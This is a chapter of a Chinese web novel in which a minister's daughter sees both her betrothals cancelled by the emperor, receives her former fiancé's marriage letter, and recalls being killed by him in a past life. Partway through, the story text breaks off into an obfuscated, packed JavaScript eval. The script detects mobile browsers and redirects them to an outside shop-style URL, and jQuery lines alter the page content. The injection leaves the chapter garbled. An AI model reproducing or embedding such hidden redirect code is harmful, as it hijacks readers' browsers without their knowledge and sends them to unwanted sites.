御书房内,颜覃方与裴庆英对自家儿女定亲一事请皇帝陛下决断,被拽来的掌事内监一脸无奈,说不出个所以然。颜家与裴家皆不退让,说着两家亲事仔细商议后定下,生辰贴都已交换。
皇帝也有些头疼,只得派人将太后请到御书房,请她老人家告知为颜家独女与太子赐婚的原因。按理说,太子是东宫储君,他的亲事关乎国运,该与皇帝与皇后仔细商议后再定下。太后直接下懿旨,着实不合规矩,也实在是太突然。
太后只说了句太子喜欢。
皇帝无奈扶额,颜覃方满心无语,奈何在皇帝与太后面前不好表露,只能全藏在心里。
裴庆英不愿放弃这桩亲事,不仅因颜覃方与自己聊得来,还因儿子逐意确对颜家女儿有意,既然两家皆愿促成这桩亲事,没理由被这突然横插在中间的人给搅黄。
御书房内,又是一番口舌争执。颜覃方与裴庆英想维持这桩亲事不变,而太后也坚持要为自己的孙儿谋得一份欢喜,谁也不愿让步。一吵就是一个时辰。
皇帝被吵得太阳穴突突突,头疼得很。最终,他折中决断,两边的亲事都作罢。他下了口谕,颜夕照的亲事她自己决定,将来她心悦谁,便嫁给谁,在那之前,谁也不许从中以权势干涉。
至于究竟谁能得到她的心意,便自己靠本事。
太后不悦,闷哼一声,甩袖离去。颜覃方和裴庆英对这个结果有些意外,可面对太后威压坚持下,这也算个不错的结果。至少,颜夕照无需因太后或太子施压入宫。
这个消息传到颜夕照耳中时,她大喜。不久前她在心中念叨的一句祈愿竟成真了!这两边的亲事都黄了!!
她欣喜万分,跑到院中看向蓝天:老天,您还是保佑我的!希望您一直保佑我,非常感谢您!!
而有人欢喜,便有人忧愁。亲事作罢,裴逐意郁闷,一整日都提不起精神。太后懿旨被废,太子在东宫发了好一通脾气,屋内物件都被他砸了。
如今陛下下了口谕,颜夕照的亲事她自己做主,即便是颜覃方也不好再勉强。但这样也好,有陛下的口谕在,再加上颜夕照自己不想嫁人,她的亲事短时间内怕是定不下来。
颜夕照心情大好,晚饭都多吃了半碗,夜里得以好眠,一觉睡至天光。醒来,愉悦依旧存在,感觉身子松快,看什么都觉得顺眼。
去给祖母请安时,颜夕照满面笑容藏不住,一眼可知的心情愉快。
纪曼文不由跟着她一起笑:“不用与人定亲,心情就这样好?夕照,你真不想嫁人?”
昨日发生之事她已知晓。与镇北侯府打算定下亲事时,太后赐婚懿旨送达,而后纠缠着去皇宫找陛下决断,最后得来个亲事全部作罢的结果,令人十分意外而惊奇。怕是连话本故事都没有这样写的。
“我只是不想那么快嫁人,”颜夕照牵起祖母的手,给她按按手背与手腕:“我及笄没多久,何须如此着急定亲嫁人?我这般年轻,父亲又是尚书,即便过个两三年再寻亲事也不迟。”
“何况,如此匆忙,我不确定所嫁之人是否是良人。我想好好看看,选自己喜欢的。”
纪曼文眼神温柔,抬起另只手轻拍了拍颜夕照的头:“你这样想也没错。你是颜家独女,慎重些考虑也是应当,毕竟是要陪你过一生的人,不能随意。”
“就是这个理!”颜夕照笑着,顺势靠在祖母肩上亲昵着蹭了两下:“我就知道祖母能理解我。”
纪曼文柔声道:“其实你父亲母亲也能理解,只是他们的处境与我们不同,要考虑之事也不同,你莫要因先前他们想为你定亲之事而记恨。”
颜夕照摇头:“祖母放心,他们是我的父亲母亲,我不会记恨他们。”
相反,她能理解他们的决定。只是当时自己对事情该有的情绪还是会有,她只是个寻常人,无法十成十的克制住自己的情绪。待冷静后,她自能想明白,只是需要点时间。
自小对她疼爱有加、将她捧在手心长大的父亲母亲,她无论如何都不可能去记恨他们的。哪怕没有太后与太子掺和进自己与裴逐意定亲这件事,最终自己还是嫁给了裴逐意,她不会因此记恨为自己定下这门亲事的父亲与母亲。
从祖母那儿离开,回房的路上遇到了朝自己院子过去的母亲。颜夕照喊了她一声,她脚步停住,笑着回头。
颜夕照快步过去:“母亲可是去寻我的?”
“是啊,”周欣兰笑了下:“有点东西给你。”
颜夕照不解:“是什么?”
周欣兰抬了下手,身后的侍女立即上前,将手中捧着的一大一小两木匣子递到颜夕照跟前。
“虽说你与镇北侯府的亲事在陛下干涉下作罢,可有些东西镇北侯府并未拿回去,”周欣兰看着她:“你留着吧。也许将来……会有用。”
颜夕照眨眼,眼中仍是疑惑。将东西带回房间后,她才打开来看。
小木匣子中装着的,是本巴掌大小的红色生辰贴。颜夕照倏忽愣住,怔怔的望着那生辰贴看了许久。
两家定亲时,双方会交换儿女生辰贴。那是结亲证明,将来若是要求取消婚约,便需将生辰贴归还。她翻看,果不其然,是裴逐意的生辰贴。他的生辰属相,她早已烂熟于心。
裴家没有收回裴逐意的生辰贴,也就意味着他们并不打算取消婚约。只是当前碍于陛下的口谕无法将亲事继续,只能暂以此举与此物告知于她。
打开大木匣子,里面安静躺着一卷红面轴,底下用细软的黄绸垫着,似是安置在其上的是什么相当贵重之物。
看见那卷轴的刹那,颜夕照眼眸颤动起来,眉心微蹙起,眼眶已然湿润,有泪氤氲其间,泪光闪烁着。这个东西,她十分熟悉,犹如那生辰贴,是她想要忘记却无法忘记的——
婚书。
裴逐意亲笔所写的婚书。
她抿唇,犹豫再三,还是没忍住将它取出,小心着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744441|189814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
展开。上面的字迹如记忆中一致,与她当年初见这份婚书时重叠在一起:
喜今日嘉礼初成,良缘遂缔
诗咏关雎,雅歌麟趾
瑞叶五世其昌,祥开二南之化
同心同德,宜室宜家
相敬如宾,永谐鱼水之欢
互助精诚,共盟鸳鸯之誓
裴氏逐意,伏愿夫人夕照,喜乐长安,万般皆顺遂
婚书的字在颜夕照眼中逐渐变得模糊,她的双眼被泪水充盈,轻轻一眨,便有温热的泪落下,滴在那婚书之上。
泪水晕染开,留下一圈泪痕。
那时颜夕照初见裴逐意亲笔所写婚书,满心皆是欢喜雀跃,而此刻的她却心绪翻涌,百感交集。
她不由的想,如若前世裴逐意没有为了报仇而舍弃自己,之后的他们会是怎样的。她有些恨,她六年痴心无悔等待,等到的竟然是被所爱之人亲手所杀的下场,她无法接受,不愿接受!
心口又开始疼。
颜夕照咬紧牙,将婚书丢回木匣子中。区区一封婚书,岂能动摇她的决心?她不要再和裴逐意有半分牵扯,她不想再死在他手中。
她只是尚书之女,诸事皆有限,她无能为力之事多之又多。她连自己的亲事都做不了选择,又如何能改变将来动荡的朝局?
她不愿让自己和家人被卷进复杂危险之事中。她这回只想好好活着,多陪陪家人,多和朋友相聚玩耍。这一生,她至少要过得开心些。以前没能做的事都去尝试尝试,不给自己留下遗憾。
别的,她管不了。
颜夕照将裴逐意的婚书与生辰贴收起来,放在了柜子最底下,被一堆大大小小的盒子压着,陷在黑暗角落中。而后她锁上柜子,在上边盖上一封灰布,将它完全的屏除在自己视线中。
望着窗外明媚晴朗的天,颜夕照深呼吸数次,继而展露笑颜。暖春时节,草长莺飞,最是让人愉悦,不要为一件小事惊扰心神。
如今不必再为亲事烦忧,一两年内大概也无需再考虑成亲之事,她大可放心在此期间做想做之事。
琴棋书画她皆会,但于她而言,并无多大用处。她想学个真正有用的,例如,医术,经商。
将来若是离开上京,她也有赚钱果腹的能力。
经商之事,父亲或许不会同意。但学医治病救人,乃是正道,父亲兴许会退让一步。
颜夕照想到个人,说不定能帮她一二。
翌日,颜夕照去找公孙雪。才在医馆前下马车,视线往里瞧见个眼熟身影,她瞬时惊慌,顾不上还在旁边的蓉儿,提着裙摆毫不犹豫朝旁跑去。
“哎?”蓉儿一脸懵:“小姐,您做什么去?等等我呀!”
医馆内的裴逐意听见外边动静转身,瞥见追过去蓉儿的身影,看见停在医馆门前的颜府马车,却没看见颜夕照。
颜夕照……跑走了?
该不会是因为看见自己在这吧?